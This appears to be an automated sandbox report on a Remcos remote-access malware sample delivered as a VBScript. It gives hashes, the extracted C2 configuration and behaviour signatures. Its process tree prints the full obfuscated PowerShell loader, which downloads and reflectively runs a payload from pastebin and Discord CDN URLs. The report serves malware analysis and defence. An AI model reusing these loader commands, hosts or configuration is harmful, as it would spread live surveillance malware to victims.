Analysis

  • max time kernel
    58s
  • max time network
    133s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-09-2024 14:42

General

  • Target

    andre.vbs

  • Size

    1.6MB

  • MD5

    ff2c142459d0557e5e09c92f5a6b9716

  • SHA1

    90e68403ae9a08b068c5dda339893ccdfac69fd7

  • SHA256

    5f83bd11e7e0793094390d82400b3d1a4c44bf5df39ddbb7c7fcfa5be989d7b2

  • SHA512

    5a697d38a128e0922715b52d182f065ca6f8297b2d4a499659bdfa1f1c5675780ad3b28b0d291c619d14b27d595ec1eb2a3f6204c6c28e3ed75ed69ea70b8a93

  • SSDEEP

    192:9PmPPPPmPPPPPPGPmPPPPmPPPPPPGPmPPPPmPPPPPPGPmPPPPmPPPPPPGPmPPPPX:VHGslc2NNArH

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://pastebin.com/raw/V9y5Q5vv

Extracted

Family

remcos

Botnet

RemoteHost

C2

rem0324.duckdns.org:1213

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-WGH0X6

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 6 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\andre.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2940
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J☆B1☆GU☆dwBp☆GI☆I☆☆9☆C☆☆Jw☆w☆Cc☆Ow☆k☆HU☆YgBs☆Gw☆dQ☆g☆D0☆I☆☆n☆CU☆c☆B6☆EE☆YwBP☆Gc☆SQBu☆E0☆cg☆l☆Cc☆OwBb☆FM☆eQBz☆HQ☆ZQBt☆C4☆TgBl☆HQ☆LgBT☆GU☆cgB2☆Gk☆YwBl☆F☆☆bwBp☆G4☆d☆BN☆GE☆bgBh☆Gc☆ZQBy☆F0☆Og☆6☆FM☆ZQBy☆HY☆ZQBy☆EM☆ZQBy☆HQ☆aQBm☆Gk☆YwBh☆HQ☆ZQBW☆GE☆b☆Bp☆GQ☆YQB0☆Gk☆bwBu☆EM☆YQBs☆Gw☆YgBh☆GM☆aw☆g☆D0☆I☆B7☆CQ☆d☆By☆HU☆ZQB9☆Ds☆WwBT☆Hk☆cwB0☆GU☆bQ☆u☆E4☆ZQB0☆C4☆UwBl☆HI☆dgBp☆GM☆ZQBQ☆G8☆aQBu☆HQ☆TQBh☆G4☆YQBn☆GU☆cgBd☆Do☆OgBT☆GU☆YwB1☆HI☆aQB0☆Hk☆U☆By☆G8☆d☆Bv☆GM☆bwBs☆C☆☆PQ☆g☆Fs☆UwB5☆HM☆d☆Bl☆G0☆LgBO☆GU☆d☆☆u☆FM☆ZQBj☆HU☆cgBp☆HQ☆eQBQ☆HI☆bwB0☆G8☆YwBv☆Gw☆V☆B5☆H☆☆ZQBd☆Do☆OgBU☆Gw☆cw☆x☆DI☆OwBb☆EI☆eQB0☆GU☆WwBd☆F0☆I☆☆k☆HY☆e☆By☆HU☆dQ☆g☆D0☆I☆Bb☆HM☆eQBz☆HQ☆ZQBt☆C4☆QwBv☆G4☆dgBl☆HI☆d☆Bd☆Do☆OgBG☆HI☆bwBt☆EI☆YQBz☆GU☆Ng☆0☆FM☆d☆By☆Gk☆bgBn☆Cg☆I☆☆o☆E4☆ZQB3☆C0☆TwBi☆Go☆ZQBj☆HQ☆I☆BO☆GU☆d☆☆u☆Fc☆ZQBi☆EM☆b☆Bp☆GU☆bgB0☆Ck☆LgBE☆G8☆dwBu☆Gw☆bwBh☆GQ☆UwB0☆HI☆aQBu☆Gc☆K☆☆g☆Cg☆TgBl☆Hc☆LQBP☆GI☆agBl☆GM☆d☆☆g☆E4☆ZQB0☆C4☆VwBl☆GI☆QwBs☆Gk☆ZQBu☆HQ☆KQ☆u☆EQ☆bwB3☆G4☆b☆Bv☆GE☆Z☆BT☆HQ☆cgBp☆G4☆Zw☆o☆Cc☆a☆B0☆HQ☆c☆☆6☆C8☆LwBw☆GE☆cwB0☆GU☆YgBp☆G4☆LgBj☆G8☆bQ☆v☆HI☆YQB3☆C8☆Vg☆5☆Hk☆NQBR☆DU☆dgB2☆Cc☆KQ☆g☆Ck☆I☆☆p☆Ds☆WwBz☆Hk☆cwB0☆GU☆bQ☆u☆EE☆c☆Bw☆EQ☆bwBt☆GE☆aQBu☆F0☆Og☆6☆EM☆dQBy☆HI☆ZQBu☆HQ☆R☆Bv☆G0☆YQBp☆G4☆LgBM☆G8☆YQBk☆Cg☆J☆B2☆Hg☆cgB1☆HU☆KQ☆u☆Ec☆ZQB0☆FQ☆eQBw☆GU☆K☆☆n☆FQ☆ZQBo☆HU☆b☆Bj☆Gg☆ZQBz☆Fg☆e☆BY☆Hg☆e☆☆u☆EM☆b☆Bh☆HM☆cw☆x☆Cc☆KQ☆u☆Ec☆ZQB0☆E0☆ZQB0☆Gg☆bwBk☆Cg☆JwBN☆HM☆cQBC☆Ek☆YgBZ☆Cc☆KQ☆u☆Ek☆bgB2☆G8☆awBl☆Cg☆J☆Bu☆HU☆b☆Bs☆Cw☆I☆Bb☆G8☆YgBq☆GU☆YwB0☆Fs☆XQBd☆C☆☆K☆☆n☆CY☆ZgBi☆Dc☆Mw☆w☆DU☆Mw☆w☆DU☆M☆☆x☆GE☆YQBi☆GI☆M☆☆2☆Dc☆OQ☆2☆Dc☆Yg☆2☆DY☆O☆☆z☆GI☆O☆☆w☆DQ☆N☆☆4☆GU☆Z☆☆1☆Dg☆Mg☆5☆GY☆N☆☆4☆GI☆MQBl☆DM☆Yw☆4☆GQ☆M☆Bl☆GY☆Mw☆2☆DY☆Mw☆y☆DE☆O☆☆0☆DE☆ZQ☆1☆GI☆Ng☆9☆G0☆a☆☆m☆Dc☆YgBk☆D☆☆N☆Bm☆DY☆Ng☆9☆HM☆aQ☆m☆Dc☆MwBm☆DU☆NQBm☆DY☆Ng☆9☆Hg☆ZQ☆/☆HQ☆e☆B0☆C4☆OQ☆w☆DU☆MgBz☆G8☆Uw☆v☆Dk☆NQ☆5☆DU☆M☆☆y☆DU☆OQ☆4☆DM☆O☆☆4☆Dk☆O☆☆0☆Dg☆O☆☆y☆DE☆Lw☆2☆DE☆O☆☆z☆D☆☆MQ☆5☆DE☆O☆☆4☆DI☆O☆☆0☆DY☆Mw☆1☆DE☆Mg☆x☆C8☆cwB0☆G4☆ZQBt☆Gg☆YwBh☆HQ☆d☆Bh☆C8☆bQBv☆GM☆LgBw☆H☆☆YQBk☆HI☆bwBj☆HM☆aQBk☆C4☆bgBk☆GM☆Lw☆v☆Do☆cwBw☆HQ☆d☆Bo☆Cc☆I☆☆s☆C☆☆J☆B1☆GI☆b☆Bs☆HU☆I☆☆s☆C☆☆JwBf☆F8☆XwBf☆F8☆dQBq☆HM☆d☆Bn☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆C0☆LQ☆t☆C0☆LQ☆t☆C0☆Jw☆s☆C☆☆J☆B1☆GU☆dwBp☆GI☆L☆☆g☆Cc☆MQ☆n☆Cw☆I☆☆n☆FI☆bwBk☆GE☆Jw☆g☆Ck☆KQ☆7☆☆==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('☆','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\andre.vbs');powershell $KByHL;
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5684
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$uewib = '0';$ubllu = 'C:\Users\Admin\AppData\Local\Temp\andre.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $vxruu = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($vxruu).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('&fb730530501aabb067967b6683b80448ed5829f48b1e3c8d0ef366321841e5b6=mh&7bd04f66=si&73f55f66=xe?txt.9052soS/9595025983889848821/6183019188284635121/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $ubllu , '_____ujstg_______________________________________-------', $uewib, '1', 'Roda' ));"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2852
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
            PID:4132
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            4⤵
            • Checks computer location settings
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:1404
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bixvvoohmofgptogpvokpzyswazfs.vbs"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:2108
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4768,i,2904906934812054273,11716976550456127484,262144 --variations-seed-version --mojo-platform-channel-handle=948 /prefetch:8
      1⤵
        PID:5224

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\remcos\logs.dat

        Filesize

        144B

        MD5

        6bab55a235898565b8fb1c3e754952d8

        SHA1

        43d94953e83eb971d81d4f52cdc312eaf52ce58f

        SHA256

        bf6b66475eaaf026a4f262a24b180ff3245e1f81129ab8b13ebce6a1d47ae758

        SHA512

        a3b181392cf6c643707976e381fc27f0bbe58b32a7d5d65ef130fd42656d5c0d1ad5b046a5ec0ecfbf50e5709e0dd4b7856a699c19d7aa7e638c8552471d6a2d

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        3KB

        MD5

        81d91bab2fdd72436e4852d94ea7650d

        SHA1

        5652b3c46a0cf75a03859c5707f36fb08f5c631a

        SHA256

        68a3392780a3c6219350a2ca51262a74a2a9d6a1ea84686f38d473f37d0588e1

        SHA512

        df1e3da61c9657a7f0c0eac9ce610798421e138259ec2bf41063b8e8eb8e1c9e6d669aaba675ba16ccdceed1aa3f76b482893dc98f3d6b46cd48d61da7669268

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        64B

        MD5

        50a8221b93fbd2628ac460dd408a9fc1

        SHA1

        7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

        SHA256

        46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

        SHA512

        27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l5yr2wrf.ym1.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\bixvvoohmofgptogpvokpzyswazfs.vbs

        Filesize

        544B

        MD5

        4196262905f64f1dd00381f882d1e2c4

        SHA1

        325434edd2f6930f987de42e51228ca348745413

        SHA256

        0b3cbde8778e4f47322ca017b5280f6eed3cd6f327b436eea4e91fbeb364a092

        SHA512

        c3367ac15a473485aceafbe52aa591e33fb67dff21896b936173db78d2889f9ee200ce4b7d78ede67bc471433444dea1c4cb36013cda7f6f9f7df3416bb1aa73

      • memory/1404-39-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/1404-41-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/1404-24-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/1404-66-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/1404-61-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/1404-60-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/1404-31-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/1404-33-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/1404-34-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/1404-37-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/1404-38-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/1404-59-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/1404-40-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/1404-58-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/1404-57-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/1404-50-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/1404-49-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/1404-52-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/1404-53-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/1404-54-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/1404-56-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/2852-23-0x00000240A1670000-0x00000240A167A000-memory.dmp

        Filesize

        40KB

      • memory/2852-22-0x00000240A1630000-0x00000240A163A000-memory.dmp

        Filesize

        40KB

      • memory/5684-11-0x00007FF9CDE80000-0x00007FF9CE941000-memory.dmp

        Filesize

        10.8MB

      • memory/5684-0-0x00007FF9CDE83000-0x00007FF9CDE85000-memory.dmp

        Filesize

        8KB

      • memory/5684-30-0x00007FF9CDE80000-0x00007FF9CE941000-memory.dmp

        Filesize

        10.8MB

      • memory/5684-12-0x00007FF9CDE80000-0x00007FF9CE941000-memory.dmp

        Filesize

        10.8MB

      • memory/5684-1-0x000001A5A25F0000-0x000001A5A2612000-memory.dmp

        Filesize

        136KB